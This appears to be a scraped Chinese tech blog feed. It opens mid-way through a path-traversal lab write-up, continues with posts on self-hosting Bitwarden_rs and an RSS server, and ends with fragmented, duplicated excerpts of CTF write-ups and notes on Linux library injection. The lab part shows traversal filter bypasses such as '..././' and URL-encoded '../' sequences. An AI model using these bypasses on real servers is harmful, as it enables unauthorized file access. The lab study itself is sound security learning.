随便选一个文件，用户名填../test</code>。</p>
Stage 3</h3>
这次会直接把../</code>字符串给替换成空，解决方法和和SQL注入时一样，写成..././test</code></p>
Stage 4</h3>
这次Full name</code>字段没法注入了，但是可以抓到POST请求修改，如图</p>
Stage 5</h3>
点击Show random cat picture</code>的按钮，抓包发现没有任何参数，但看到响应的Headers里面有一个Location参数却带了参数。</p>
于是试着加上一个参数id=path-traversal-secret.jpg</code>结果400，看了hints，经过一番尝试后，终于用id=%2E%2E%2F%2E%2E%2Fpath-traversal-secret</code>成功了。这里需要URL编码来绕过对../../</code>的检测。</p>
返回提示说要提交你用户名的SHA-512值，很简单</p>
echo </span>-n </span>[</span>你的用户名</span>]|</span>sha512sum
</span></code></pre>
不要忘了-n</code>参数！！！</p>
总结</h1>
有用户输入的地方就很有可能有注入，无论是SQL、XSS，还是PWN，都是程序把用户输入当做命令来执行。所以在处理用户输入时要格外小心。而且输入参数检验尽量前后端都放，前端检验虽然防君子不防小人，但可以减少服务器的压力。</p>


Bitwarden_rs服务器搭建
2020-09-11T00:00:00+00:00
前言</h1>
Bitwarden是一款开源密码管理工具，我之前也一直在用它。但使用官方的服务器不仅网速有点慢，而且数据在别人那里，万一它跑路了，就啥都登不进了。既然自己有个服务器，那就自己搭一个bitwarden的服务端吧。
自行搭建官方的Bitwarden服务端需要去官网申请，可不知道什么原因总是504，可能是官方把接口关闭了吧。因此这里使用非官方的服务端Bitwarden_rs</code>(Github地址</a>)，用的是Rust</code>，不过用Docker</code>封装了，安装使用还是挺方便的。官方给的教程用的是Caddy</code>服务器，因为我不怎么熟，所以就自己研究了一下nginx</code>的配置。</p>
搭建过程</h1>


创建文件夹mkdir bitwarden && cd bitwarden</code></p>
</li>

创建文件docker-compose.yml</code>
内容如下:</p>
version</span>: </span>'3'
</span>
</span>services</span>:
</span>  </span>bitwarden</span>:
</span>    </span>image</span>: </span>vaultwarden/server:latest
</span>    </span>restart</span>: </span>always
</span>    </span>volumes</span>:
</span>      - </span>./bw-data:/data
</span>    </span>ports</span>:
</span>      - </span>3011:80
</span>      - </span>3012:3012
</span>    </span>environment</span>:
</span>      </span>WEBSOCKET_ENABLED</span>: </span>'true' </span># Required to use websockets
</span>      </span>SIGNUPS_ALLOWED</span>: </span>'true'
</span>      </span>WEB_VAULT_ENABLED</span>: </span>"true" </span>#是否开启Web客户端
</span></code></pre>
</li>
</ol>
这里映射了两个端口，容器的80和3012端口要用到，因此映射出来，一会要用到。</p>


修改nginx</code>配置</p>
内容如下：</p>
#bitwarden
</span>server</span> {
</span>    </span>listen       </span>443</span> ssl;
</span>    </span>server_name</span>  [你的域名];
</span>    </span>ssl_certificate</span>      [你的证书];
</span>    </span>ssl_certificate_key</span>  [你的证书私钥];
</span>    </span>ssl_session_cache</span>    shared:SSL:1m;
</span>    </span>ssl_session_timeout  </span>5m</span>;
</span>    </span>ssl_protocols</span> TLSv1 TLSv1.1 TLSv1.2;
</span>    </span>ssl_ciphers</span> ECDHE-RSA-AES128-GCM-SHA256:HIGH:!aNULL:!MD5:!RC4:!DHE;
</span>    </span>ssl_prefer_server_ciphers</span> on</span>;
</span>    </span>location </span>/ {
</span>        </span>proxy_pass</span>                          http://127.0.0.1:3011;
</span>        </span>proxy_set_header</span> Upgrade            </span>$http_upgrade</span>;
</span>        </span>proxy_set_header</span> Connection         </span>"upgrade"</span>;
</span>        </span>proxy_set_header</span> Host               </span>$host</span>;
</span>        </span>proxy_set_header</span> X-Real-IP          </span>$remote_addr</span>;
</span>        </span>proxy_set_header</span> X-Forwarded-For    </span>$proxy_add_x_forwarded_for</span>;
</span>        </span>proxy_set_header</span> X-Forwarded-Proto  </span>$scheme</span>;
</span>        </span>proxy_set_header</span> X-Forwarded-Host   </span>$host</span>;
</span>        </span>proxy_set_header</span> X-Forwarded-Port   </span>$server_port</span>;
</span>    }
</span>    </span>location </span>/notifications/hub {
</span>        </span>proxy_pass</span>                          http://127.0.0.1:3012;
</span>        </span>proxy_set_header</span> Upgrade            </span>$http_upgrade</span>;
</span>        </span>proxy_set_header</span> Connection         </span>"upgrade"</span>;
</span>        </span>proxy_set_header</span> Host               </span>$host</span>;
</span>        </span>proxy_set_header</span> X-Real-IP          </span>$remote_addr</span>;
</span>        </span>proxy_set_header</span> X-Forwarded-For    </span>$proxy_add_x_forwarded_for</span>;
</span>        </span>proxy_set_header</span> X-Forwarded-Proto  </span>$scheme</span>;
</span>        </span>proxy_set_header</span> X-Forwarded-Host   </span>$host</span>;
</span>        </span>proxy_set_header</span> X-Forwarded-Port   </span>$server_port</span>;
</span>    }
</span>    </span>location </span>/notifications/hub/negotiate {
</span>        </span>proxy_pass</span>                          http://127.0.0.1:3011;
</span>        </span>proxy_set_header</span> Upgrade            </span>$http_upgrade</span>;
</span>        </span>proxy_set_header</span> Connection         </span>"upgrade"</span>;
</span>        </span>proxy_set_header</span> Host               </span>$host</span>;
</span>        </span>proxy_set_header</span> X-Real-IP          </span>$remote_addr</span>;
</span>        </span>proxy_set_header</span> X-Forwarded-For    </span>$proxy_add_x_forwarded_for</span>;
</span>        </span>proxy_set_header</span> X-Forwarded-Proto  </span>$scheme</span>;
</span>        </span>proxy_set_header</span> X-Forwarded-Host   </span>$host</span>;
</span>        </span>proxy_set_header</span> X-Forwarded-Port   </span>$server_port</span>;
</span>    }
</span>    </span>location </span>/admin {
</span>        </span>proxy_pass</span>                          http://127.0.0.1:3011;
</span>        </span>proxy_set_header</span> Upgrade            </span>$http_upgrade</span>;
</span>        </span>proxy_set_header</span> Connection         </span>"upgrade"</span>;
</span>        </span>proxy_set_header</span> Host               </span>$host</span>;
</span>        </span>proxy_set_header</span> X-Real-IP          </span>$remote_addr</span>;
</span>        </span>proxy_set_header</span> X-Forwarded-For    </span>$proxy_add_x_forwarded_for</span>;
</span>        </span>proxy_set_header</span> X-Forwarded-Proto  </span>$scheme</span>;
</span>        </span>proxy_set_header</span> X-Forwarded-Host   </span>$host</span>;
</span>        </span>proxy_set_header</span> X-Forwarded-Port   </span>$server_port</span>;
</span>    }
</span>}
</span></code></pre>
注意把上面的端口号改成刚才设置的。没有证书的可以免费去申请。</p>
</li>

进入docker-compose.yml</code>所在的目录，执行docker-compose up</code>就会开始下载bitwarden_rs</code>服务器并启动了。也可以用docker-compose up -d</code>后台启动。要停止只要docker-compose stop</code>就行了。</p>
</li>

启动nginx</code>。一切顺利的话，用浏览器打开https://[你的IP]</code>就可以看到bitwarden</code>的网页端了。由于它的网页版是SPA，所以加载可能有点慢，稍微等一下吧。再把原来的密码库导入就可以正常使用啦。</p>
</li>
</ol>
下面是一些推荐的做法，爱折腾的可以做一下</p>

如果是自己使用，可以关闭注册账号的功能。将docker-compose.yml</code>里的SIGNUPS_ALLOWED: "true" </code>改成 SIGNUPS_ALLOWED: "false"</code> 保存即可。</li>
可以写个脚本定期备份，保证数据安全</li>
配置fail2ban</code>，把尝试密码的ip自动禁掉。可以参考官网</a>给的示例。</li>
</ul>


RSS使用和配置记录
2020-09-08T00:00:00+00:00
RSS是什么</h1>

简易信息聚合（也叫聚合内容）是一种RSS基于XML标准，在互联网上被广泛采用的内容包装和投递协议。RSS(Really Simple Syndication)是一种描述和同步网站内容的格式，是使用最广泛的XML应用。RSS搭建了信息迅速传播的一个技术平台，使得每个人都成为潜在的信息提供者。发布一个RSS文件后，这个RSS Feed中包含的信息就能直接被其他站点调用，而且由于这些数据都是标准的XML格式，所以也能在其他的终端和服务中使用，是一种描述和同步网站内容的格式。 [1]  RSS可以是以下三个解释的其中一个： Really Simple Syndication；RDF (Resource Description Framework) Site Summary； Rich Site Summary。但其实这三个解释都是指同一种Syndication的技术。</p>
——来自百度百科</p>
</blockquote>
在这个充斥这各种信息的互联网时代，我们常常需要从各种渠道获得不同的信息，在此同时，我们的注意力还容易被各种诱惑抢夺走。</p>
RSS可以屏蔽其它你所不关注的信息，将多方的信息整合到一起，只关注我们想要关注的。</p>
RSS基本概念</h1>
信息源</strong>：就是信息的来源，比如各种博客，新闻网站……。然而大多数的网站是没有提供RSS信息的，这里推荐一款开源神器DIYgod/RSSHub-Radar</a>可以将许多没有RSS源的信息转化成RSS源，如B站、知乎(、甚至Minecraft的本版发布消息)。你可以将它部署到自己的服务器上。</p>
阅读器</strong>：阅读器可以添加许多RSS源，并浏览RSS信息。</p>
服务商</strong>：当我们有多个RSS阅读器时，多个阅读器进行同步就成了很头疼的问题。在这个阅读器上添加了源另一个阅读器上却没有，这边看过的信息那边还显示未读。我们就需要一个服务来同步我们的RSS订阅信息。多个阅读器需要都支持这个服务商。当然，也有统一的协议Fever API。</p>
软件推荐</h1>
阅读器</h2>

ihewro/Focus</a>(Android)</li>
Palabre+TT-RSS for Palabre(Android)</li>
GetStream/Winds</a>(Windows/MacOS/Linux)</li>
RSS追踪</a>(Windows10)(14元)</li>
</ul>
服务商</h2>
国内大多数服务商由于众所周知的原因已经无法使用，这里推荐大家自己搭建服务器。下面推荐几个</p>


Tiny Tiny RSS</a></p>
</li>

Miniflux</a></p>
</li>

FreshRSS</a></p>
</li>
</ul>
这些服务器都是用SQL数据库储存数据，用Docker封装，在Windows部署难度有点大。推荐用Linux服务器部署。</p>
另外:推荐一篇知乎2019 国内最好的 RSS 阅读器是什么？- 知乎</a></p>
服务器搭建</h1>
都是Docker容器，因此搭建十分容易，直接上docker-compose.yml</code>，我这里直接把RSSHub给加进去了。</p>
version</span>: </span>"3"
</span>services</span>:
</span>  </span>database.postgres</span>:
</span>    </span>image</span>: </span>postgres:alpine
</span>    </span>container_name</span>: </span>postgres
</span>    </span>environment</span>:
</span>      - </span>POSTGRES_PASSWORD=[ 数据库密码 ]
</span>    </span>volumes</span>:
</span>            - </span>~/postgres/data/:/var/lib/postgresql/data </span># 数据存放位置
</span>    </span>restart</span>: </span>always
</span>
</span>  </span>service.rss</span>:
</span>    </span>image</span>: </span>wangqiru/ttrss:latest
</span>    </span>container_name</span>: </span>ttrss
</span>    </span>ports</span>:
</span>      - [ </span>TTRSS端口 </span>]</span>:80
</span>    </span>environment</span>:
</span>      - </span>SELF_URL_PATH=[ 访问域名 ] </span># 必须要一模一样，加上协议名
</span>      - </span>DB_HOST=database.postgres
</span>      - </span>DB_PORT=5432
</span>      - </span>DB_NAME=ttrss
</span>      - </span>DB_USER=postgres
</span>      - </span>DB_PASS=[ 数据库密码 ]
</span>      - </span>ENABLE_PLUGINS=auth_internal,fever </span># auth_internal is required. Plugins enabled here will be enabled for all users as system plugins
</span>      - </span>FEED_LOG_QUIET=true
</span>    </span>stdin_open</span>: </span>true
</span>    </span>tty</span>: </span>true
</span>    </span>restart</span>: </span>always
</span>    </span>command</span>: </span>sh -c 'sh /wait-for.sh $$DB_HOST:$$DB_PORT -- php /configure-db.php && exec s6-svscan /etc/s6/'
</span>
</span>  </span>service.mercury</span>: </span># set Mercury Parser API endpoint to `service.mercury:3000` on TTRSS plugin setting page
</span>    </span>image</span>: </span>wangqiru/mercury-parser-api:latest
</span>    </span>container_name</span>: </span>mercury
</span>    </span>expose</span>:
</span>      - </span>3000
</span>    </span>restart</span>: </span>always
</span>
</span>  </span>service.opencc</span>: </span># set OpenCC API endpoint to `service.opencc:3000` on TTRSS plugin setting page
</span>    </span>image</span>: </span>wangqiru/opencc-api-server:latest
</span>    </span>container_name</span>: </span>opencc
</span>    </span>environment</span>:
</span>      - </span>NODE_ENV=production
</span>    </span>expose</span>:
</span>      - </span>3000
</span>    </span>restart</span>: </span>always
</span>  </span>service.rsshub</span>:
</span>    </span>image</span>: </span>diygod/rsshub
</span>    </span>container_name</span>: </span>rsshub
</span>    </span>ports</span>:
</span>      - [ </span>rsshub端口 </span>]</span>:1200
</span>    </span>environment</span>:
</span>      - </span>CACHE_EXPIRE=1800 </span>#缓存时间,单位为s
</span>    </span>restart</span>: </span>always
</span>
</span></code></pre>
有了服务器，其它的都容易了，我这里Windows上用了RSS追踪，Android用的Palabre + TT-RSS for Palabre。有一点要注意的是华为手机要在应用启动管理里面允许TT-RSS for Palabre被关联启动，不然Palabre会闪退。</p>
总结</h1>
自己搭建服务器比较靠谱，但是需要一定的动手能力。大家如果有什么更好的建议，可以写在评论区。</p>

richar的技术集

Nixos on OrangePi R1 Plus LTS

启动</h1> 编译好后，使用dd命令将镜像写TF卡中，就可以启动了。</p> </p>

mwan3多拨ipv6一对一NAT负载均衡

Openwrt其他设置</h1> 在Network -> Interfaces -> Global network options -> IPv6 ULA-Prefix</code>中指定内网地址。</p> 在lan</code>接口的Advanced Settings -> IPv6 prefix filter</code>选择local</code>，即仅下发上述内网地址。</p>

将QQ放入Network Namespace

Android使用perf_event实现硬断点

eStrace - 使用eBPF追踪系统调用

ToDo</h2> 上面这张系统调用的信息表可能存在错误</li> 更加完整的过滤机制</li> 参数结构体解析</li> </ol>

XCTF lambda 题解

Fuzz-01-linux黑盒测试覆盖率

局限性</h2> 待测试的二进制文件中不能有混淆</li> 待测试的程序中不能有进程被调试（进程主动被调试是一种主要的反调试手段）</li> </ol>

ISC-Nothing出题思路及WriteUp

</code></pre> 来表示

VMP分析-去除无用指令

效果</h1> 从vmp中抽取了一小段代码，识别结果如下。红色背景的指令是可以删除的指令，黄色文字的指令是标记需要保留的指令。</p> </p>

linux动态库编写与注入

动态库编写</h1>

动态库注入</h1> 在Linux中，让一个进程加载指定的动态链接库(.so文件)的方法比windows少得多，局限性也较大。</p>

运行前指定</h2> 这种方式适用于在运行前加上指定环境变量或者直接修改ELF可执行文件，可以在程序运行最开始时运行某段代码，或执行函数hook等。</p>

preload</h3> preload参数可以让ld加载程序前加载指定动态库。有两种方式实现</p>

运行时注入</h2> 运行时注入大概dlsym分为以下几步：先让程序停下来，然后将shellcode写入rip指向的位置，最后让程序恢复执行。</p>

让程序停下来</h3> Ptrace</h4> ptrace是设计给调试器使用的。因此可以通过ptrace附加到目标进程上，控制目标进程是否执行。</p> 局限性：</p>

Ptrace</h4> ptrace是设计给调试器使用的。因此可以通过ptrace附加到目标进程上，控制目标进程是否执行。</p> 局限性：</p>

Signal</h4> ptrace会在attach时给目标进程发送SIGSTOP</code>信号，那我们也可以直接给目标进程发送该信号。当一个进程收到该信号后会进入Stopped</code>状态，并且无法屏蔽该信号。当收到SIGCONT</code>信号时，该进程才会继续执行。</p>

Linux内核编译

ByteCTF MordernCPP WriteUp

Cyber Apocalypse 2021题解

pwn</h1>

Controller</h2> 经过一个check</code>后就是一个最普通的ROP。</p>

Minefield</h2> 程序有一个任意地址写，但是写完之后就直接退出了，没有调用其它函数。但是注意到fini_array</code>段可写并且 程序存在后门函数，因此直接覆盖fini_array</code>的值为后门函数地址即可。</p>

Re</h1>

2021虎符-PWN-apollo题解

NepCTF WriteUp

[crypto] 你们一天天的不写代码难道是在等爱情吗</h1> 标准银河字母、盲文、跳舞的小人、圣堂武士密码等，然后经过key</code>为3的W型栅栏密码，和ROT13</code>即为flag</code>。</p> </p> </p>

2020 BMZCTF Re&Pwn WriteUp

Re</h1>

Tern字幕翻译软件逆向记录

ptmalloc学习笔记

malloc</h1> 这是照着书上画的流程图，可以快速了解malloc的整体逻辑。</p> </p>

free</h1> 同样是流程图: </p>

2020 NJUPT CTF - zstuCTF WriteUp

Re</h1>

Misc</h1> 有手就行。。。</p>

Netplan虚拟机双网卡配置

参考文章</h1> Ubuntu18.04下双网卡内外网设置 - 大橘为重之大橘已定</a></li> </ol>

glibc编译与调试

生成用于调试的程序</h1> 对于一般的elf执行文件，肯定是默认到系统目录去找libc。有两种方式可以自己指定链接的libc位置，一种是在编译的时候加上选项，但这只能用于自己编译的程序。</p>

调试</h1> 调试时就可以看到libc源码了。如图</p> </p>

LibcSearch&libc-database</h1> 由于LibcSearch</code>自带的libc-database</code>版本太老，所以直接把github上最新的libc-database</code>下载下来，LibcSearch</code>里的libc-database</code>目录直接替换成软链接这样就可以方便的更新libc库了。命令如下</p>

参考文章</h1> 源码级调试glibc - astrotycoon</a></li> 使用题目给定的libc动态调试 - HAPPYers</a></li> </ol>

第11届极客大挑战-Pwn WriteUp

第11届极客大挑战-Re WriteUp

No RE no gain</h1> 文件: HelloRE.exe</p> IDA打开，有手就行。</p>

我真不会写驱动！</h1> 文件: SycDriver.sys</p> 有手就行。</p> </p>

WhatsApk</h1> 文件: WhatsApk.apk</p> apktool解压，vscode搜索SYC{</code>。 </p>

启动</h1>
编译好后，使用dd命令将镜像写TF卡中，就可以启动了。</p>
</p>

Openwrt其他设置</h1>
在`Network -> Interfaces -> Global network options -> IPv6 ULA-Prefix</code>中指定内网地址。</p>`
`在lan</code>接口的Advanced Settings -> IPv6 prefix filter</code>选择local</code>，即仅下发上述内网地址。</p>`

ToDo</h2>

上面这张系统调用的信息表可能存在错误</li>
更加完整的过滤机制</li>
参数结构体解析</li> </ol>

局限性</h2>

待测试的二进制文件中不能有混淆</li>
待测试的程序中不能有进程被调试（进程主动被调试是一种主要的反调试手段）</li> </ol>

</code></pre>
来表示

效果</h1>
从vmp中抽取了一小段代码，识别结果如下。红色背景的指令是可以删除的指令，黄色文字的指令是标记需要保留的指令。</p>
</p>

动态库注入</h1>
在Linux中，让一个进程加载指定的动态链接库(.so文件)的方法比windows少得多，局限性也较大。</p>

运行前指定</h2>
这种方式适用于在运行前加上指定环境变量或者直接修改ELF可执行文件，可以在程序运行最开始时运行某段代码，或执行函数hook等。</p>

运行时注入</h2>
运行时注入大概dlsym分为以下几步：先让程序停下来，然后将shellcode写入rip指向的位置，最后让程序恢复执行。</p>
根据这个原理，重构了 MordragT/injex</a>，并增加了一些新功能，放在 ri-char/injex</a>。</p>

[crypto] 你们一天天的不写代码难道是在等爱情吗</h1>
标准银河字母、盲文、跳舞的小人、圣堂武士密码等，然后经过`key</code>为3的W型栅栏密码，和ROT13</code>即为flag</code>。</p>`
`</p>`
`</p>`

malloc</h1>
这是照着书上画的流程图，可以快速了解malloc的整体逻辑。</p>
</p>

free</h1>
同样是流程图: </p>

`Misc</h1> 有手就行。。。</p>`

`参考文章</h1>Ubuntu18.04下双网卡内外网设置 - 大橘为重之大橘已定</a></li> </ol>`

调试</h1>
调试时就可以看到libc源码了。如图</p>
</p>

参考文章</h1>

源码级调试glibc - astrotycoon</a></li>
使用题目给定的libc动态调试 - HAPPYers</a></li> </ol>

No RE no gain</h1>
文件: HelloRE.exe</p>
IDA打开，有手就行。</p>

我真不会写驱动！</h1>
文件: SycDriver.sys</p>
有手就行。</p>
</p>

WhatsApk</h1>
文件: WhatsApk.apk</p>
apktool解压，vscode搜索`SYC{</code>。 </p>`